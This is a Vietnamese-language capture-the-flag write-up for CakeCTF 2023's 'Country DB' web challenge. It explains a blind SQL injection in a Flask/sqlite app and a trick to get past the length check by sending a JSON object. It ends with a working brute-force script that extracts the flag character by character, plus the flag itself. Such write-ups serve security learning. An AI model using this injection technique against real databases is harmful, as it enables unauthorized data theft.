# Web challenges
## 1. Country DB

Có vẻ như chỉ đơn giản là search tên country theo code

Bài có cho source, vô dòm tí
> [source](https://github.com/TrnTD/Sources/tree/main/Cake_CTF_2023/country_db_fc1912477a433a93f7d75a9b80389582/country_db)
</br>
Có một vài điểm chú ý trong `app.py`
* Thứ nhất là tham số được truyền đi dưới dạng json
```
req = flask.request.get_json()
if 'code' not in req:
flask.abort(400, "Empty country code")
```
* Thứ hai là chỉ truyền được tối đa 2 ký tự và bị filter `'`
```
code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
```
* Thứ ba là nếu filter `'` thì khả năng cao là `sqlite injection`
```
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
found = cur.fetchone()
return None if found is None else found[0]
```
Và cũng thuộc dạng `blind` bởi vì chỉ execute query ở table `country`
Để lấy được flag thì mình cần phải tìm hết lần lượt từng ký tự của flag trong table `flag`
</br>
Để bypass `len(code) == 2` thì mình sẽ truyền vào một json với 2 cặp giá trị key-value
Mình sẽ test trên localhost của mình để các bạn dễ hình dung
```
if len(code) != 2:
return '!= 2'
else:
print("Received JSON data:", code)
return 'bypass!!'
```


Vậy là bypass thành công
Hoặc là cũng có thể truyền vào một array gồm 2 phần từ để bypass

</br>
Tiếp theo là đến phần injection

Sau khi nhận được value dạng json thì nó sẽ được python parse về kiểu dictionary

Và sẽ được truyền vào query dưới dạng string để execute trong db
```
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
```
Mình sẽ thử inject code vào xem như thế nào

Hoặc

Vậy là đã inject thành công
Tiếp theo viết script để brute force thôi
</br>
script
```
#!/usr/bin/env python
import requests
import string
chars = string.printable
flag = ''
count = 1
url = 'http://countrydb.2023.cakectf.com:8020/'
header = {
"Content-Type": "application/json"
}
while True:
for char in chars:
print(str(count) + ': ' + char)
json_data = {
"code": {
f"vn') or substr((select flag from flag),{count},1) = '{char}'--":"test",
"jp":"test"
}
}
res = requests.post(url + 'api/search', headers=header, json=json_data)
if res.status_code == 200:
flag += char
count += 1
print('flag: ' + flag)
break
if '}' in flag:
break
```

Flag: ~~**`CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}`**~~